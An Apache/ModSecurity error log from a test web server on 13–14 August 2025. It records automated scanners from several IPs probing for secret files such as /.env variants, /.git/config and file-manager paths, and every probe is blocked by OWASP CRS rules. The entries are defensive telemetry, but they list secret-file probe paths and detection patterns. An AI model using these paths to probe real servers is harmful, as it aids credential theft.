[Wed Aug 13 08:00:07.838142 2025] [:error] [pid 1915759] [client 185.177.72.12:29546] [client 185.177.72.12] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.development"] [unique_id "aJwp541gSXFj_jrv08srmQAAAAA"]
[Wed Aug 13 08:00:07.838416 2025] [:error] [pid 1915759] [client 185.177.72.12:29546] [client 185.177.72.12] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.development"] [unique_id "aJwp541gSXFj_jrv08srmQAAAAA"]
[Wed Aug 13 08:00:07.838606 2025] [:error] [pid 1915759] [client 185.177.72.12:29546] [client 185.177.72.12] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.development"] [unique_id "aJwp541gSXFj_jrv08srmQAAAAA"]
[Wed Aug 13 08:00:07.860749 2025] [:error] [pid 1915759] [client 185.177.72.12:29546] [client 185.177.72.12] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aJwp541gSXFj_jrv08srmgAAAAA"]
[Wed Aug 13 08:00:07.861025 2025] [:error] [pid 1915759] [client 185.177.72.12:29546] [client 185.177.72.12] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aJwp541gSXFj_jrv08srmgAAAAA"]
[Wed Aug 13 08:00:07.861217 2025] [:error] [pid 1915759] [client 185.177.72.12:29546] [client 185.177.72.12] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aJwp541gSXFj_jrv08srmgAAAAA"]
[Wed Aug 13 08:00:07.886031 2025] [:error] [pid 1915759] [client 185.177.72.12:29546] [client 185.177.72.12] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aJwp541gSXFj_jrv08srmwAAAAA"]
[Wed Aug 13 08:00:07.886301 2025] [:error] [pid 1915759] [client 185.177.72.12:29546] [client 185.177.72.12] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aJwp541gSXFj_jrv08srmwAAAAA"]
[Wed Aug 13 08:00:07.886538 2025] [:error] [pid 1915759] [client 185.177.72.12:29546] [client 185.177.72.12] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aJwp541gSXFj_jrv08srmwAAAAA"]
[Wed Aug 13 08:00:07.908610 2025] [:error] [pid 1915759] [client 185.177.72.12:29546] [client 185.177.72.12] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.stage"] [unique_id "aJwp541gSXFj_jrv08srnAAAAAA"]
[Wed Aug 13 08:00:07.908862 2025] [:error] [pid 1915759] [client 185.177.72.12:29546] [client 185.177.72.12] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.stage"] [unique_id "aJwp541gSXFj_jrv08srnAAAAAA"]
[Wed Aug 13 08:00:07.909104 2025] [:error] [pid 1915759] [client 185.177.72.12:29546] [client 185.177.72.12] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.stage"] [unique_id "aJwp541gSXFj_jrv08srnAAAAAA"]
[Wed Aug 13 08:00:07.932974 2025] [:error] [pid 1915759] [client 185.177.72.12:29546] [client 185.177.72.12] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.test"] [unique_id "aJwp541gSXFj_jrv08srnQAAAAA"]
[Wed Aug 13 08:00:07.933245 2025] [:error] [pid 1915759] [client 185.177.72.12:29546] [client 185.177.72.12] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.test"] [unique_id "aJwp541gSXFj_jrv08srnQAAAAA"]
[Wed Aug 13 08:00:07.933476 2025] [:error] [pid 1915759] [client 185.177.72.12:29546] [client 185.177.72.12] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.test"] [unique_id "aJwp541gSXFj_jrv08srnQAAAAA"]
[Wed Aug 13 08:00:07.959067 2025] [:error] [pid 1915759] [client 185.177.72.12:29546] [client 185.177.72.12] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "aJwp541gSXFj_jrv08srngAAAAA"]
[Wed Aug 13 08:00:07.959315 2025] [:error] [pid 1915759] [client 185.177.72.12:29546] [client 185.177.72.12] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "aJwp541gSXFj_jrv08srngAAAAA"]
[Wed Aug 13 08:00:07.959507 2025] [:error] [pid 1915759] [client 185.177.72.12:29546] [client 185.177.72.12] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "aJwp541gSXFj_jrv08srngAAAAA"]
[Wed Aug 13 08:00:07.981737 2025] [:error] [pid 1915759] [client 185.177.72.12:29546] [client 185.177.72.12] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aJwp541gSXFj_jrv08srnwAAAAA"]
[Wed Aug 13 08:00:07.981912 2025] [:error] [pid 1915759] [client 185.177.72.12:29546] [client 185.177.72.12] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aJwp541gSXFj_jrv08srnwAAAAA"]
[Wed Aug 13 08:00:07.982205 2025] [:error] [pid 1915759] [client 185.177.72.12:29546] [client 185.177.72.12] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aJwp541gSXFj_jrv08srnwAAAAA"]
[Wed Aug 13 08:00:07.982416 2025] [:error] [pid 1915759] [client 185.177.72.12:29546] [client 185.177.72.12] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aJwp541gSXFj_jrv08srnwAAAAA"]
[Wed Aug 13 08:00:08.006097 2025] [:error] [pid 1915759] [client 185.177.72.12:29546] [client 185.177.72.12] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "aJwp6I1gSXFj_jrv08sroAAAAAA"]
[Wed Aug 13 08:00:08.006285 2025] [:error] [pid 1915759] [client 185.177.72.12:29546] [client 185.177.72.12] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "aJwp6I1gSXFj_jrv08sroAAAAAA"]
[Wed Aug 13 08:00:08.006588 2025] [:error] [pid 1915759] [client 185.177.72.12:29546] [client 185.177.72.12] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "aJwp6I1gSXFj_jrv08sroAAAAAA"]
[Wed Aug 13 08:00:08.006839 2025] [:error] [pid 1915759] [client 185.177.72.12:29546] [client 185.177.72.12] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "aJwp6I1gSXFj_jrv08sroAAAAAA"]
[Wed Aug 13 08:00:08.039450 2025] [:error] [pid 1915759] [client 185.177.72.12:29546] [client 185.177.72.12] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aJwp6I1gSXFj_jrv08sroQAAAAA"]
[Wed Aug 13 08:00:08.039697 2025] [:error] [pid 1915759] [client 185.177.72.12:29546] [client 185.177.72.12] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aJwp6I1gSXFj_jrv08sroQAAAAA"]
[Wed Aug 13 08:00:08.039885 2025] [:error] [pid 1915759] [client 185.177.72.12:29546] [client 185.177.72.12] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aJwp6I1gSXFj_jrv08sroQAAAAA"]
[Wed Aug 13 23:39:13.712441 2025] [:error] [pid 1915778] [client 216.81.248.84:42746] [client 216.81.248.84] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aJ0GASOomHJoGtneOfUPcAAAAAU"]
[Wed Aug 13 23:39:13.712806 2025] [:error] [pid 1915778] [client 216.81.248.84:42746] [client 216.81.248.84] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aJ0GASOomHJoGtneOfUPcAAAAAU"]
[Wed Aug 13 23:39:13.713052 2025] [:error] [pid 1915778] [client 216.81.248.84:42746] [client 216.81.248.84] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aJ0GASOomHJoGtneOfUPcAAAAAU"]
[Thu Aug 14 18:53:15.020160 2025] [:error] [pid 1940637] [client 64.227.159.52:29596] [client 64.227.159.52] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aJ4Ue-XwDPQAE7N5KakIVQAAAAQ"]
[Thu Aug 14 18:53:15.020413 2025] [:error] [pid 1940637] [client 64.227.159.52:29596] [client 64.227.159.52] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aJ4Ue-XwDPQAE7N5KakIVQAAAAQ"]
[Thu Aug 14 18:53:15.020588 2025] [:error] [pid 1940637] [client 64.227.159.52:29596] [client 64.227.159.52] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aJ4Ue-XwDPQAE7N5KakIVQAAAAQ"]
[Thu Aug 14 18:53:25.577236 2025] [authz_core:error] [pid 1940635] [client 64.227.159.52:55722] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/lib/jquery-file-upload
[Thu Aug 14 18:53:34.201278 2025] [authz_core:error] [pid 1940727] [client 64.227.159.52:20106] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/webroot
[Thu Aug 14 18:54:13.553111 2025] [authz_core:error] [pid 1940633] [client 64.227.159.52:59032] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/vendor/laravel-filemanager
[Thu Aug 14 18:54:19.274827 2025] [:error] [pid 1940637] [client 64.227.159.52:28550] [client 64.227.159.52] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aJ4Uu-XwDPQAE7N5KakIYAAAAAQ"]
[Thu Aug 14 18:54:19.275148 2025] [:error] [pid 1940637] [client 64.227.159.52:28550] [client 64.227.159.52] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aJ4Uu-XwDPQAE7N5KakIYAAAAAQ"]
[Thu Aug 14 18:54:19.275337 2025] [:error] [pid 1940637] [client 64.227.159.52:28550] [client 64.227.159.52] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aJ4Uu-XwDPQAE7N5KakIYAAAAAQ"]
